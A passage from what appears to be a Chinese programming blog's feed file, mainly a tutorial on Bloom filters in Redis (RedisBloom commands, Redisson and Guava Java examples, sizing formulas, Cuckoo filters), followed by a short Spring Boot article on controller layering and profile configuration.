0 │ 1 │ 0 │ 0 │ 1 │ 0 │ 0 │</span><br><span class="line">└───┴───┴───┴───┴───┴───┴───┴───┘</span><br><span class="line">        ↑           ↑</span><br><span class="line">      h1(Alice)  h2(Alice)</span><br><span class="line"></span><br><span class="line">添加&quot;Bob&quot;：</span><br><span class="line">h1(&quot;Bob&quot;)=3, h2(&quot;Bob&quot;)=5</span><br><span class="line"></span><br><span class="line">┌───┬───┬───┬───┬───┬───┬───┬───┐</span><br><span class="line">│ 0 │ 0 │ 1 │ 1 │ 0 │ 1 │ 0 │ 0 │</span><br><span class="line">└───┴───┴───┴───┴───┴───┴───┴───┘</span><br><span class="line">            ↑       ↑</span><br><span class="line">          h1(Bob) h2(Bob)</span><br></pre></td></tr></table></figure><p>#</p><h2 id="1-3-查询元素"><a href="#1-3-查询元素" class="headerlink" title="1.3 查询元素"></a>1.3 查询元素</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">查询&quot;Alice&quot;：</span><br><span class="line">h1(&quot;Alice&quot;)=2, h2(&quot;Alice&quot;)=5</span><br><span class="line">检查bit[2]和bit[5]都是1 → &quot;可能在集合中&quot;</span><br><span class="line"></span><br><span class="line">查询&quot;Charlie&quot;：</span><br><span class="line">h1(&quot;Charlie&quot;)=1, h2(&quot;Charlie&quot;)=6</span><br><span class="line">检查bit[1]=0 → &quot;一定不在集合中&quot;</span><br><span class="line"></span><br><span class="line">查询&quot;David&quot;：</span><br><span class="line">h1(&quot;David&quot;)=2, h2(&quot;David&quot;)=3</span><br><span class="line">检查bit[2]=1, bit[3]=1 → &quot;可能在集合中&quot;（实际不在，误判！）</span><br></pre></td></tr></table></figure><p>#</p><h2 id="1-4-特点"><a href="#1-4-特点" class="headerlink" title="1.4 特点"></a>1.4 特点</h2><table><thead><tr><th>特性</th><th>说明</th></tr></thead><tbody><tr><td>空间效率</td><td>极高效，存储1亿个元素仅需约100MB</td></tr><tr><td>查询时间</td><td>O(k)，k是哈希函数数量，常数时间</td></tr><tr><td>添加时间</td><td>O(k)，常数时间</td></tr><tr><td>误判率</td><td>存在（可能判断为存在，实际不存在）</td></tr><tr><td>漏判率</td><td>不存在（判断为不存在，一定不存在）</td></tr><tr><td>删除</td><td>不支持（或需要特殊实现）</td></tr></tbody></table><h2 id="二、RedisBloom模块"><a href="#二、RedisBloom模块" class="headerlink" title="二、RedisBloom模块"></a>二、RedisBloom模块</h2><p>#</p><h2 id="2-1-安装"><a href="#2-1-安装" class="headerlink" title="2.1 安装"></a>2.1 安装</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 方式1：编译安装RedisBloom</span></span><br><span class="line">git <span class="built_in">clone</span> https://github.com/RedisBloom/RedisBloom.git</span><br><span class="line"><span class="built_in">cd</span> RedisBloom</span><br><span class="line">make</span><br><span class="line"></span><br><span class="line"><span class="comment"># 在redis.conf中加载模块</span></span><br><span class="line">loadmodule /path/to/redisbloom.so</span><br><span class="line"></span><br><span class="line"><span class="comment"># 方式2：使用Docker</span></span><br><span class="line">docker run -p 6379:6379 redislabs/rebloom:latest</span><br><span class="line"></span><br><span class="line"><span class="comment"># 方式3：Redis Stack（包含RedisBloom）</span></span><br><span class="line">docker run -d --name redis-stack -p 6379:6379 redis/redis-stack:latest</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-2-基本命令"><a href="#2-2-基本命令" class="headerlink" title="2.2 基本命令"></a>2.2 基本命令</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 创建布隆过滤器</span></span><br><span class="line">BF.RESERVE user_filter 0.01 1000000</span><br><span class="line"><span class="comment"># BF.RESERVE &lt;key&gt; &lt;error_rate&gt; &lt;capacity&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 添加元素</span></span><br><span class="line">BF.ADD user_filter user:1001</span><br><span class="line">BF.ADD user_filter user:1002</span><br><span class="line"></span><br><span class="line"><span class="comment"># 批量添加</span></span><br><span class="line">BF.MADD user_filter user:1003 user:1004 user:1005</span><br><span class="line"></span><br><span class="line"><span class="comment"># 查询元素</span></span><br><span class="line">BF.EXISTS user_filter user:1001    <span class="comment"># 返回1（可能存在）</span></span><br><span class="line">BF.EXISTS user_filter user:9999    <span class="comment"># 返回0（一定不存在）</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 批量查询</span></span><br><span class="line">BF.MEXISTS user_filter user:1001 user:1002 user:9999</span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看信息</span></span><br><span class="line">BF.INFO user_filter</span><br><span class="line"><span class="comment"># 输出：</span></span><br><span class="line"><span class="comment"># 1) Capacity</span></span><br><span class="line"><span class="comment"># 2) (integer) 1000000</span></span><br><span class="line"><span class="comment"># 3) Size</span></span><br><span class="line"><span class="comment"># 4) (integer) 2396279</span></span><br><span class="line"><span class="comment"># 5) Number of filters</span></span><br><span class="line"><span class="comment"># 6) (integer) 1</span></span><br><span class="line"><span class="comment"># 7) Number of items inserted</span></span><br><span class="line"><span class="comment"># 8) (integer) 2</span></span><br><span class="line"><span class="comment"># 9) Expansion rate</span></span><br><span class="line"><span class="comment"># 10) (integer) 2</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-3-自动扩容"><a href="#2-3-自动扩容" class="headerlink" title="2.3 自动扩容"></a>2.3 自动扩容</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 使用BF.ADD（不预先RESERVE）会自动创建</span></span><br><span class="line">BF.ADD auto_filter user:1001</span><br><span class="line"><span class="comment"># 使用默认参数：error_rate=0.1%, capacity=100</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 当容量不足时，BF会自动扩容</span></span><br><span class="line">BF.ADD auto_filter user:101</span><br><span class="line"><span class="comment"># 自动扩容，误判率会略有增加</span></span><br></pre></td></tr></table></figure><h2 id="三、Java中使用RedisBloom"><a href="#三、Java中使用RedisBloom" class="headerlink" title="三、Java中使用RedisBloom"></a>三、Java中使用RedisBloom</h2><p>#</p><h2 id="3-1-Redisson实现"><a href="#3-1-Redisson实现" class="headerlink" title="3.1 Redisson实现"></a>3.1 Redisson实现</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">BloomFilterConfig</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Bean</span></span><br><span class="line">    <span class="keyword">public</span> RBloomFilter&lt;String&gt; <span class="title function_">userBloomFilter</span><span class="params">(RedissonClient redisson)</span> &#123;</span><br><span class="line">        RBloomFilter&lt;String&gt; bloomFilter = redisson.getBloomFilter(<span class="string">&quot;userFilter&quot;</span>);</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 初始化：预期100万元素，误判率1%</span></span><br><span class="line">        bloomFilter.tryInit(<span class="number">1000000L</span>, <span class="number">0.01</span>);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> bloomFilter;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> RBloomFilter&lt;String&gt; userBloomFilter;</span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> StringRedisTemplate redis;</span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> UserMapper userMapper;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 初始化布隆过滤器</span></span><br><span class="line">    <span class="meta">@PostConstruct</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">init</span><span class="params">()</span> &#123;</span><br><span class="line">        List&lt;Long&gt; userIds = userMapper.findAllIds();</span><br><span class="line">        <span class="keyword">for</span> (Long id : userIds) &#123;</span><br><span class="line">            userBloomFilter.add(<span class="string">&quot;user:&quot;</span> + id);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> User <span class="title function_">getUser</span><span class="params">(Long id)</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;user:&quot;</span> + id;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 1. 布隆过滤器判断</span></span><br><span class="line">        <span class="keyword">if</span> (!userBloomFilter.contains(key)) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">null</span>;  <span class="comment">// 一定不存在</span></span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 2. 查缓存</span></span><br><span class="line">        <span class="type">String</span> <span class="variable">json</span> <span class="operator">=</span> redis.opsForValue().get(key);</span><br><span class="line">        <span class="keyword">if</span> (json != <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> JSON.parseObject(json, User.class);</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 3. 查数据库</span></span><br><span class="line">        <span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> userMapper.findById(id);</span><br><span class="line">        <span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">            redis.opsForValue().set(key, JSON.toJSONString(user), <span class="number">3600</span>, TimeUnit.SECONDS);</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> user;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-2-Guava-Redis实现"><a href="#3-2-Guava-Redis实现" class="headerlink" title="3.2 Guava + Redis实现"></a>3.2 Guava + Redis实现</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">GuavaBloomFilter</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> BloomFilter&lt;String&gt; bloomFilter;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@PostConstruct</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">init</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="comment">// 创建布隆过滤器（本地内存）</span></span><br><span class="line">        bloomFilter = BloomFilter.create(</span><br><span class="line">            Funnels.stringFunnel(StandardCharsets.UTF_8),</span><br><span class="line">            <span class="number">1000000</span>,   <span class="comment">// 预期元素数</span></span><br><span class="line">            <span class="number">0.01</span>       <span class="comment">// 误判率</span></span><br><span class="line">        );</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 加载数据</span></span><br><span class="line">        loadData();</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">mightContain</span><span class="params">(String element)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> bloomFilter.mightContain(element);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">put</span><span class="params">(String element)</span> &#123;</span><br><span class="line">        bloomFilter.put(element);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="四、应用场景"><a href="#四、应用场景" class="headerlink" title="四、应用场景"></a>四、应用场景</h2><p>#</p><h2 id="4-1-缓存穿透防护"><a href="#4-1-缓存穿透防护" class="headerlink" title="4.1 缓存穿透防护"></a>4.1 缓存穿透防护</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CachePenetrationProtection</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> RBloomFilter&lt;String&gt; bloomFilter;</span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> StringRedisTemplate redis;</span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> ProductMapper productMapper;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> Product <span class="title function_">getProduct</span><span class="params">(Long id)</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;product:&quot;</span> + id;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 布隆过滤器先判断</span></span><br><span class="line">        <span class="keyword">if</span> (!bloomFilter.contains(key)) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">null</span>;  <span class="comment">// 一定不存在，直接返回</span></span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 查缓存</span></span><br><span class="line">        <span class="type">String</span> <span class="variable">json</span> <span class="operator">=</span> redis.opsForValue().get(key);</span><br><span class="line">        <span class="keyword">if</span> (json != <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> JSON.parseObject(json, Product.class);</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 查数据库（只有布隆过滤器判断可能存在时才查）</span></span><br><span class="line">        <span class="type">Product</span> <span class="variable">product</span> <span class="operator">=</span> productMapper.findById(id);</span><br><span class="line">        <span class="keyword">if</span> (product != <span class="literal">null</span>) &#123;</span><br><span class="line">            redis.opsForValue().set(key, JSON.toJSONString(product), <span class="number">3600</span>, TimeUnit.SECONDS);</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> product;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-2-URL去重（爬虫）"><a href="#4-2-URL去重（爬虫）" class="headerlink" title="4.2 URL去重（爬虫）"></a>4.2 URL去重（爬虫）</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CrawlerService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> RBloomFilter&lt;String&gt; urlBloomFilter;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">shouldCrawl</span><span class="params">(String url)</span> &#123;</span><br><span class="line">        <span class="comment">// 如果URL可能在集合中，跳过</span></span><br><span class="line">        <span class="keyword">if</span> (urlBloomFilter.contains(url)) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">false</span>;  <span class="comment">// 已爬过（可能误判，会漏掉少量未爬的）</span></span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 新URL，添加到布隆过滤器</span></span><br><span class="line">        urlBloomFilter.add(url);</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-3-用户ID去重"><a href="#4-3-用户ID去重" class="headerlink" title="4.3 用户ID去重"></a>4.3 用户ID去重</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserIdDeduplication</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> RBloomFilter&lt;String&gt; userIdFilter;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 检查用户是否已注册</span></span><br><span class="line">    <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">isUserRegistered</span><span class="params">(String userId)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userIdFilter.contains(userId);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 用户注册时添加</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">registerUser</span><span class="params">(String userId)</span> &#123;</span><br><span class="line">        userIdFilter.add(userId);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-4-推荐系统（已推荐过滤）"><a href="#4-4-推荐系统（已推荐过滤）" class="headerlink" title="4.4 推荐系统（已推荐过滤）"></a>4.4 推荐系统（已推荐过滤）</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">RecommendationService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> RBloomFilter&lt;String&gt; recommendationFilter;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> List&lt;Article&gt; <span class="title function_">recommendArticles</span><span class="params">(Long userId)</span> &#123;</span><br><span class="line">        List&lt;Article&gt; candidates = articleMapper.findCandidates();</span><br><span class="line">        List&lt;Article&gt; result = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">for</span> (Article article : candidates) &#123;</span><br><span class="line">            <span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> userId + <span class="string">&quot;:&quot;</span> + article.getId();</span><br><span class="line">            </span><br><span class="line">            <span class="comment">// 如果可能已推荐过，跳过</span></span><br><span class="line">            <span class="keyword">if</span> (recommendationFilter.contains(key)) &#123;</span><br><span class="line">                <span class="keyword">continue</span>;</span><br><span class="line">            &#125;</span><br><span class="line">            </span><br><span class="line">            result.add(article);</span><br><span class="line">            recommendationFilter.add(key);</span><br><span class="line">            </span><br><span class="line">            <span class="keyword">if</span> (result.size() &gt;= <span class="number">10</span>) <span class="keyword">break</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> result;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="五、参数调优"><a href="#五、参数调优" class="headerlink" title="五、参数调优"></a>五、参数调优</h2><p>#</p><h2 id="5-1-误判率与空间的关系"><a href="#5-1-误判率与空间的关系" class="headerlink" title="5.1 误判率与空间的关系"></a>5.1 误判率与空间的关系</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">公式：</span><br><span class="line">bit数组大小 m = -n * ln(p) / (ln(2)^2)</span><br><span class="line">哈希函数数 k = m * ln(2) / n</span><br><span class="line"></span><br><span class="line">其中：</span><br><span class="line">n = 预期元素数量</span><br><span class="line">p = 误判率</span><br><span class="line"></span><br><span class="line">示例：</span><br><span class="line">n = 100万, p = 1%</span><br><span class="line">m ≈ 9585058 bits ≈ 1.14MB</span><br><span class="line">k ≈ 7</span><br><span class="line"></span><br><span class="line">n = 100万, p = 0.1%</span><br><span class="line">m ≈ 14377078 bits ≈ 1.72MB</span><br><span class="line">k ≈ 10</span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-2-参数选择建议"><a href="#5-2-参数选择建议" class="headerlink" title="5.2 参数选择建议"></a>5.2 参数选择建议</h2><table><thead><tr><th>场景</th><th>预期元素数</th><th>可接受误判率</th><th>推荐大小</th></tr></thead><tbody><tr><td>缓存穿透防护</td><td>1000万</td><td>1%</td><td>11.4MB</td></tr><tr><td>URL去重</td><td>1亿</td><td>0.1%</td><td>172MB</td></tr><tr><td>用户ID</td><td>1000万</td><td>0.01%</td><td>22.9MB</td></tr><tr><td>日志去重</td><td>10亿</td><td>1%</td><td>1.14GB</td></tr></tbody></table><p>#</p><h2 id="5-3-动态扩容"><a href="#5-3-动态扩容" class="headerlink" title="5.3 动态扩容"></a>5.3 动态扩容</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># RedisBloom支持自动扩容</span></span><br><span class="line">BF.RESERVE myfilter 0.01 1000000 EXPANSION 2</span><br><span class="line"><span class="comment"># EXPANSION: 扩容倍数，默认2</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 当容量达到100万时，自动创建子过滤器</span></span><br><span class="line"><span class="comment"># 子过滤器容量 = 100万 * 2 = 200万</span></span><br><span class="line"><span class="comment"># 误判率会略有增加</span></span><br></pre></td></tr></table></figure><h2 id="六、布隆过滤器的局限"><a href="#六、布隆过滤器的局限" class="headerlink" title="六、布隆过滤器的局限"></a>六、布隆过滤器的局限</h2><p>#</p><h2 id="6-1-不支持删除"><a href="#6-1-不支持删除" class="headerlink" title="6.1 不支持删除"></a>6.1 不支持删除</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">问题：</span><br><span class="line">删除&quot;Alice&quot;时，不能简单将bit[2]和bit[5]设为0</span><br><span class="line">因为&quot;Bob&quot;也可能使用了bit[5]</span><br><span class="line"></span><br><span class="line">解决方案：</span><br><span class="line">1. Counting Bloom Filter（每个bit改为计数器）</span><br><span class="line">2. Cuckoo Filter（支持删除的变体）</span><br></pre></td></tr></table></figure><p>#</p><h2 id="6-2-误判不可控"><a href="#6-2-误判不可控" class="headerlink" title="6.2 误判不可控"></a>6.2 误判不可控</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">一旦创建，误判率固定（除非扩容）</span><br><span class="line">不能根据查询结果调整</span><br><span class="line"></span><br><span class="line">缓解方案：</span><br><span class="line">1. 使用白名单记录误判的元素</span><br><span class="line">2. 定期重建布隆过滤器</span><br></pre></td></tr></table></figure><h2 id="七、Counting-Bloom-Filter"><a href="#七、Counting-Bloom-Filter" class="headerlink" title="七、Counting Bloom Filter"></a>七、Counting Bloom Filter</h2><p>#</p><h2 id="7-1-原理"><a href="#7-1-原理" class="headerlink" title="7.1 原理"></a>7.1 原理</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">将bit数组改为计数器数组：</span><br><span class="line"></span><br><span class="line">添加&quot;Alice&quot;：</span><br><span class="line">┌───┬───┬───┬───┬───┬───┬───┬───┐</span><br><span class="line">│ 0 │ 0 │ 1 │ 0 │ 0 │ 1 │ 0 │ 0 │</span><br><span class="line">└───┴───┴───┴───┴───┴───┴───┴───┘</span><br><span class="line"></span><br><span class="line">添加&quot;Bob&quot;：</span><br><span class="line">┌───┬───┬───┬───┬───┬───┬───┬───┐</span><br><span class="line">│ 0 │ 0 │ 1 │ 1 │ 0 │ 2 │ 0 │ 0 │</span><br><span class="line">└───┴───┴───┴───┴───┴───┴───┴───┘</span><br><span class="line">                ↑       ↑</span><br><span class="line">              h1(Bob) h2(Bob)（h2位置已有Alice，计数+1）</span><br><span class="line"></span><br><span class="line">删除&quot;Alice&quot;：</span><br><span class="line">┌───┬───┬───┬───┬───┬───┬───┬───┐</span><br><span class="line">│ 0 │ 0 │ 0 │ 1 │ 0 │ 1 │ 0 │ 0 │</span><br><span class="line">└───┴───┴───┴───┴───┴───┴───┴───┘</span><br><span class="line">        ↑               ↑</span><br><span class="line">      减1             减1（但不小于0）</span><br></pre></td></tr></table></figure><p>#</p><h2 id="7-2-Redis实现"><a href="#7-2-Redis实现" class="headerlink" title="7.2 Redis实现"></a>7.2 Redis实现</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># RedisBloom的CF（Cuckoo Filter）支持删除</span></span><br><span class="line">CF.ADD mycf item1</span><br><span class="line">CF.EXISTS mycf item1    <span class="comment"># 返回1</span></span><br><span class="line">CF.DEL mycf item1       <span class="comment"># 删除</span></span><br><span class="line">CF.EXISTS mycf item1    <span class="comment"># 返回0</span></span><br></pre></td></tr></table></figure><h2 id="八、总结"><a href="#八、总结" class="headerlink" title="八、总结"></a>八、总结</h2><table><thead><tr><th>特性</th><th>布隆过滤器</th><th>HashSet</th></tr></thead><tbody><tr><td>空间效率</td><td>极高</td><td>低</td></tr><tr><td>查询时间</td><td>O(1)</td><td>O(1)</td></tr><tr><td>误判</td><td>有</td><td>无</td></tr><tr><td>删除</td><td>不支持</td><td>支持</td></tr><tr><td>适用场景</td><td>大数据量，允许误判</td><td>小数据量，精确判断</td></tr></tbody></table><p>布隆过滤器的核心价值：</p><ol><li><strong>空间效率</strong>：用极少的空间存储大量元素的存在信息</li><li><strong>时间效率</strong>：O(1)的查询时间</li><li><strong>零漏判</strong>：判断为不存在则一定不存在</li></ol><p>使用建议：</p><ol><li>适合”可能存在”的场景，不适用于”一定存在”</li><li>根据预期数据量和可接受误判率选择参数</li><li>定期重建以保持误判率</li><li>不能替代精确查询，只能用于前置过滤</li></ol><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>String：简单的键值对，适合缓存、计数器</p></li><li><p>Hash：存储对象属性，适合用户信息、配置</p></li><li><p>List：有序列表，适合消息队列、最新列表</p></li><li><p>Set：无序去重，适合共同好友、抽奖</p></li><li><p>ZSet：有序集合，适合排行榜、积分系统</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。</p>]]></content>
      
      
      <categories>
          
          <category> Redis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Redis </tag>
            
            <tag> 缓存 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Spring Boot 参数校验和返回值封装</title>
      <link href="//spring-boot-can-shu-xiao-yan-he-fan-hui-zhi-feng-zhuang/"/>
      <url>//spring-boot-can-shu-xiao-yan-he-fan-hui-zhi-feng-zhuang/</url>
      
        <content type="html"><![CDATA[<h1 id="Spring-Boot-参数校验和返回值封装"><a href="#Spring-Boot-参数校验和返回值封装" class="headerlink" title="Spring Boot 参数校验和返回值封装"></a>Spring Boot 参数校验和返回值封装</h1><p>参数校验和返回值封装是接口质量的第一道防线。本文讲 Spring Boot 中的标准做法和常见问题。</p><h2 id="先搭一个最小接口"><a href="#先搭一个最小接口" class="headerlink" title="先搭一个最小接口"></a>先搭一个最小接口</h2><p>以 Spring Boot 为例，一个接口最好保持分层清楚：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/users&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserController</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserService userService;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">UserController</span><span class="params">(UserService userService)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.userService = userService;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/&#123;id&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> UserDTO <span class="title function_">detail</span><span class="params">(<span class="meta">@PathVariable</span> Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userService.detail(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。</p><h2 id="配置和验证"><a href="#配置和验证" class="headerlink" title="配置和验证"></a>配置和验证</h2><p>如果涉及环境配置，建议拆分：</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">profiles:</span></span><br><span class="line">    <span class="attr">active:</span> <span class="string">dev</span></span><br><span class="line"></span><br><span class="line"><span class="attr">server:</span></span><br><span class="line">  <span class="attr">port:</span> <span class="number">8080</span></span><br></pre></td></tr></table></figure><p>生产环境启动时不要手工改文件，可以通过参数指定：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">java -jar app.jar --spring.profiles.active=prod</span><br></pre></td></tr></table></figure><p>接口写完后，用 curl 验证：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">curl http://localhost:8080/users/1</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。</li><li>Controller 不要返回 Entity，避免数据库字段直接暴露。</li><li>参数校验和异常处理最好统一做，不要散落在每个接口里。</li></ul>]]></content>
      
      
      <categories>
          
          <category> SpringBoot </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> SpringBoot </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Redis与SpringCache整合</title>
      <link href="//redis-spring-cache-integration/"/>
      <url>//redis-spring-cache-integration/</url>
      
